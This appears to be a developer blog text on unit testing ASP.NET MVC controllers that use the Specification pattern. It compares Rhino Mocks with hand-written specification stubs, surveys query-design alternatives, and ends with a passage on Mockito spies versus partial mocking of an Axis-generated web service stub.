Mockaholic: (noun) – a person who compulsively takes mocking frameworks as the answer to every test-isolation.

In my current project, I use Specification pattern for my data-access query, and while it is testable, they were anything but fun.

Here’s some SUT of my MVC Customer controller:

public ActionResult Search(string name, DateTime? dob, bool? isTerminated)
{
	ISpecification spec = null;
	if(!name.IsNullOrEmpty())
		spec &= whereCustomer.NameContains(name);
	if(dob != null)
		spec &= whereCustomer.WasBornInDay(dob.Value);
	if(isTerminated != null)
		spec &= isTerminated? whereCustomer.IsTerminated(): !whereCustomer.IsTerminated();

	searchResult = repository.Query(spec);
	return View("search", searchResult);
}

I stripped out all PTO related stuffs for clarity. Using Rhino-Mock, here is the unit-test:
(PS: &, |, and ! operators call And(), Or(), and Not() instance methods respectively behind the scene)

Test-Case:

IWhereCustomer whereCustomer = MockRepository.CreateStub<IWhereCustomer>();

ISpecification<Customer> nameSpec = StubSpec();
ISpecification<Customer> dobSpec = StubSpec();
ISpecification<Customer> notTerminatedSpec = StubSpec();
ISpecification<Customer> finalSpec = StubSpec();

whereCustomer.Expect(x => whereCustomer.NameContains("Hendry")).Return(nameSpec);
whereCustomer.Expect(x => whereCustomer.WasBornInDay(dob)).Return(dobSpec);
whereCustomer.Expect(x=> whereCustomer.IsTerminated().Not()).Return(notTerminatedSpec); // Recursive Mock

nameSpec.Expect(x=> x.And(dobSpec).And(notTerminatedSpec)).Return(finalSpec); // Recursive Mock

repository.Expect(x=> x.Query(finalSpec)).Return(stubCustomers);

controller.Search("Hendry", dob, false).ShouldRenderView("search").WithModel(stubCustomers);

Although the code bloat has been reduced significantly by the new recursive mock feature in Rhino-Mock 3.5, the test is still far than neat. It’s tedious to write, difficult to read. From reader’s perspective, I can’t immediately figure out what this unit-test is trying to express. If this is how I should write unit-test for anything dealing with ISpecification, I definitely need to find something better.

So I scrap the whole Rhino-Mock stuffs from my unit-test, and write my own hand-coded stub for ISpecification class myself, and I’m able to refactor my test-case into:

IWhereCustomer whereCustomer = StubSpecificationFactory<IWhereCustomer>();

repository.Expect(x=> x.Query(
	whereCustomer.NameContains("Hendry") & whereCustomer.WasBornInDay(dob) & !whereCustomer.IsTerminated()
	)).Return(stubCustomers);

controller.Search("Hendry", dob, false).ShouldRenderView("search").WithModel(stubCustomers);

We managed to reduce the test code by more than a half! And even better, you can use AAA style test that wasn’t quite possible previously.

controller.Search("Hendry", dob, false).ShouldRenderView("search").WithModel(stubCustomers);

repository.AssertWasCalled(x=> x.Query(
	whereCustomer.NameContains("Hendry") & whereCustomer.WasBornInDay(dob) & !whereCustomer.IsTerminated());

How was that possible? Here’s the stubbed ISpecification that I wrote.

public class SpecificationMock<T>: ISpecification<T>
{
	private MethodInfo methodInfo;
	private object[] args;

	public override bool Equals(object other)
	{
		SpecificationMock<T> spec = other as SpecificationMock<T>;
		if(spec== null)
			return false;
		return methodInfo.Equals(spec.methodInfo) && args.SequenceEquals(spec.args);
	}
}

So this stub is only responsible in comparing equality between expectated and actual ISpecification.
Mocked IWhereCustomer will forward all MethodInfos (NameContains() and WasBornInDay() in this case) and its arguments down to the our SpeficiationMock. I use Castle DynamicProxy here to automate that (hence StubSpecificationFactory utility).

By unleashing yourself from full blown mocking-framework and instead going back to basic using handcrafted mock objects, you can actually produce a much simpler test design, using a carefully established “test-oriented vocabulary” that suits your specific situation.

Now how are we going to implement data query behind this search? I’ll go through several alternatives. (Jump to solution if you can’t care less). Let’s start from the simplest approach.

1. Repository Finder Methods

IList<Customer> result = customerRepository.SearchByBlaBlaBloodyBla(email, name, ageFrom, ageTo, isTerminated);

2. Lambda-Expression Repository

IList<Customer> result = repository.FindAll<Customer>(
	x => x.EmailAddress == emailAddress && x.IsTerminated == isTerminated);  // and so on

public bool IsTerminated {get {return this.TerminationDate != null; }};

3. Pipe and Filter Pattern

IQueryable<Customer> result = repository.All<Customer>().WithEmail(emailAddress).AgeAbove(ageFrom).AgeBelow(ageTo);
if(isTerminated != null)
	result = (isTerminated)? result.IsTerminated(): result.IsNotTerminated();	

IList<Customer> result = repository.All<Customer>().WithBlaBloodyBla(emailAddress, name, ageFrom, ageTo, isTerminated).List();

4. Specification pattern

IList<Customer> result = repository.FindAll<Customer>(new WithinAgeCustomerSpecification(ageFrom, ageTo));

customerRepository.Expect(x => x.SearchByAgeBetween(20, 30)).Return(stubCustomers);
ViewResult view = customerSearchController.Search(20, 30); 
Assert.That(view.Model, Is.EqualTo(stubCustomers);

But anyone has suggestion how I could test the following controller (simplified)?

public class CustomerController: Controller
{
	IRepository repository; //Injected
	
	public ActionResult Search(int? ageFrom, int? ageTo)
	{
		var customers = repository.Query(new WithinAgeCustomerSpecification(ageFrom, ageTo));
		return View("search", customers);
	}
}

ShouldLoadSearchView();
CanLoadCustomerByEmailAddressToViewData();
CanLoadCustomerByNameToViewData();
CanLoadCustomerByAgeToViewData();
CanLoadCustomerByNameAndEmailAddressToViewData();
// etc etc

CanSearchByEmailAddress();
CanSearchByName();
CanSearchByAge();
CanSearchByNameAndEmailAddress();
// etc etc

ShouldLoadSearchView();
ShouldSearchCustomerUsingCorrectSpecification();
ShouldLoadSearchResultToViewData();

Yes, that’s all we care: “controller should use correct specification to search the customer”. We don’t care if the specification actually does what it claims it does. That’s for other developers to care.

Solution

By wrapping Specifications into a factory, we decouple the controller from Specification implementation.

public class CustomerController: Controller
{
	IRepository repository; //Injected
	ICustomerSpecFactory whereCustomer; //Injected
	
	public ActionResult Search(int? ageFrom, int? ageTo)
	{
		var customers = repository.Query(whereCustomer.HasAgeBetween(ageFrom, ageTo));
		return View("search", customers);
	}
}

whereCustomer.Expect(x => x.HasAgeBetween(20, 30))
	.Return(stubSpec = MockRepository.Generate<Specification<Customer>>);
customerRepository.Expect(x => x.Query(stubSpec)).Return(stubCustomers);

var view = customerController.Search(20, 30); // EXECUTE CONTROLLER ACTION
Assert.That(view.Model, Is.EqualTo(stubCustomer);

I actually like it a lot! The specification is also amazingly flexible to mix and play. E.g.:

repository.Query((whereCustomer.HasAgeBetween(20, 30) || whereCustomer.LivesIn("Berlin")) && !whereCustomer.IsVIP());

public class CustomerQuery: ICustomerQuery
{
	public ISpecification<Customer> MathesUserSearchFilters(string email, string name, int? ageFrom, int? ageTo, bool isTerminated)
	{
		var result = Specification<Customer>.TRUE;
		if(email != null)
			result &= new Specification<Customer>(x => x.email.ToLower() == email.ToLower());
		if(name != null)
			result &= new Specification<Customer>(x => x.Name.ToLower().Contains(name.ToLower());
		if(ageFrom != null)
			result &= IsOlderThan(ageFrom.Value);
		if(ageTo != null)
			result &= !IsOlderThan(ageTo.Value);
		if(isTerminated != null)
			result &= (isTerminated)?IsTerminated():!IsTerminated();
		return result;
	}
	public ISpecification<Customer> IsOlderThan(int yearOld) {/*..*/}
	public ISpecification<Customer> IsTerminated() {/*..*/}
}

var terminatedCustomers = customerList.FindAll(whereCustomer.IsTerminated()); 

Validate(customer, !whereCustomer.IsTerminated())
	.Message("The customer had been terminated. Please enter an active customer");

Code for sample Specification API can be found in Ritesh Rao’s post.

Where are we?

Oh yes, our initial objective: plugging in new screen/functionality in Open-Closed Principle fashion. Not a problem. The query can live in separate assembly, and it’s easy for the client to introduce their own set of Specifications that meets their querying needs for their plugins.
This approach also gives us the liberty to override the specification implementation, e.g. to comply with specific persistence technology, or database-structure. Say, if Customer.Name is implemented as FIRST_NAME and LAST_NAME columns. Overriding Specification implementation is not possible with “new” keyword or extension method approach, since the application is tightly coupled to specific Specification implementation.
This allows clients to extend the domain entity with their business-specific properties and persistence-structure.

public void canGetAWarmWelcome()
{
	SUT sut = spy(new SUT());
	when(mock.getName()).thenReturn("Darling");
	
	assertEqual("Darling", sut.getName());
	assertEqual("Hello, Darling", sut.getWarmWelcome());
}

public class SUT
{
	public String getWarmWelcome()
	{
		return "Hello, " + this.getName();
	}

	public String getName()
	{
		return "Hendry";
	}
}

Using partial mock, both assertions in this test-class would pass. Using mockito spy, however, the second assertion will fail. I.e., you can’t invoke a spy method from the real SUT method from same object.

This is mostly by-design decision on Mockity side. The author argues that partial mocking smells fishy, and that it’s better to refactor the code and eliminates the need for partial-mocking.
I don’t completely agree. There are many occassions where partial-mocking can be useful particualrly when you are dealing with third party API.
I am trying to write a unit-test over a web-service client code using axis. Part of the code are autogenerated from WSDL, and I can’t refactor it to suit my unit-test.
As a brief picture, here’s the autogenerated the class I’m trying to mock (partially).

public AccountServiceBindingStub extends Stub implements AccountService_PortType
{
	public AccountDetailResponse getAccountDetail(AccountQueryRequest accountQueryRequest)
	{
		Call call = createCall();
		call.setOperationName(new QName("", "getAccountDetail"));
		/*
		call.setxxxx(...);
		call.setxxx(...);
		*/
		
		call.invoke(param);
	}
	
	protected Call createCall()
	{
		Call call = new Call();
		/*
		etc etc
		*/
	}
}